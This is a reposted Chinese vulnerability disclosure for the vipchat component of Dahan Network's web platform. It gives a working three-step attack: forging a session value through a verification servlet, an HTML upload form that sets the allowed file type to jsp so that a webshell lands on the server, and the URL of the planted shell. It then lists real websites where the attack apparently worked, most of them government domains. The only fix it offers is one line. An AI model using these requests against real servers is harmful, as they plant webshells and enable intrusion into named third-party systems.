神刀安全网

大汉网络vipchat上传getshell漏洞(附案例)

简要描述:

大汉网络vipchat上传getshell漏洞

详细说明:

第一步伪造 session值:clusterid

地址:/vipchat/VerifyCodeServlet?var=clusterid

code 区域
发送请求:
http://www.notedyy.com/vipchat/VerifyCodeServlet?var=clusterid

大汉网络vipchat上传getshell漏洞(附案例)

第二步,构造上传:

地址:/vipchat/servlet/upfile.do

code 区域
发送请求:
<form action="http://www.notedyy.com/vipchat/servlet/upfile.do" method="post" enctype="multipart/form-data" >
<input type="hidden" name="isdefault" value="true" >
<input type="hidden" name="allowtype" value="jsp">
<input type="file" name="picfile" >
<input type="submit">
</form>

查看返回值,包含了webshell的路径。

大汉网络vipchat上传getshell漏洞(附案例)

漏洞证明:

第三步,Getshell:

http://www.notedyy.com/vipchat/home/info/4640/subjectdesc/201509250304583550.jsp

大汉网络vipchat上传getshell漏洞(附案例)

code 区域
案例:
在测试一个,黄冈市
http://www.hg.gov.cn/vipchat/VerifyCodeServlet?var=clusterid
http://www.hg.gov.cn/vipchat/home/info/3580/subjectdesc/201509241035074053.jsp

http://www.gzwd.gov.cn
http://www.lzcgq.gov.cn
http://www.sdadc.gov.cn
http://www.sdfeeds.com
http://www.sdsl.gov.cn
http://www.sdvdc.gov.cn
http://xmblh.sdxm.gov.cn
http://www.sdbee.com
http://www.xdxmw.com
http://www.sdxm.gov.cn

修复方案:

限制文件上传类型。

版权声明:神刀安全网转自 矿主@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 大汉网络vipchat上传getshell漏洞(附案例)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮